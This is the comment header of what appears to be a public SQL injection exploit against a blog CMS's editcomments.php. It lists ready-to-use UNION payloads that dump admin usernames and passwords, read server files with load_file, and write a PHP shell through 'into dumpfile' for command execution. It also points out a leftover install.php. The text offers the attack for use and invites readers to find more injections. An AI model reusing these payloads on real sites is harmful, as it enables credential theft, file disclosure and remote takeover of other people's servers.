# |BUG [Sql Injection]
# |  p0c : /[path]/editcomments.php?id=[sql_string]
# |  There are other sql injections, find them by yourself ;)
# |[!] This Blog system doesn't cheek if install.php file still exists after installation ! ;)
# |SQL Injections used by this sploit :
# |[1] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,concat(username,0x3a,password),8 from users
# |[2] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,load_file('lf'),8
# |[3] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,'content',8 into dumpfile 'path'
# |----------------------------------------------------------------------------------------------------------------------------------|
# |This CMS is vulnerable to sql injection. This simple exploit just uses the sql bug to get admin credentials (username,password),
# |uses load_file() mysql function to disclosure local file on the server, uses the '' into dumpfile '' mysql function to save a
# |php shell on the website, so it will allows you to execute commands.
# |The RCE way is more difficult, becouse you need to know the site's path on the server, dumpfile function needs it !
# |I'm trying to find an universal way to find the cwd of the site in the server from sql injection, still nothing. Would be good a
# |LFI bug, so then we could write our file into /tmp, and then include it via LFI.
# |----------------------------------------------------------------------------------------------------------------------------------|

# Pastin' here output of all exploiting way of this sploit will be too long, here the first way :  Admin credentials extract
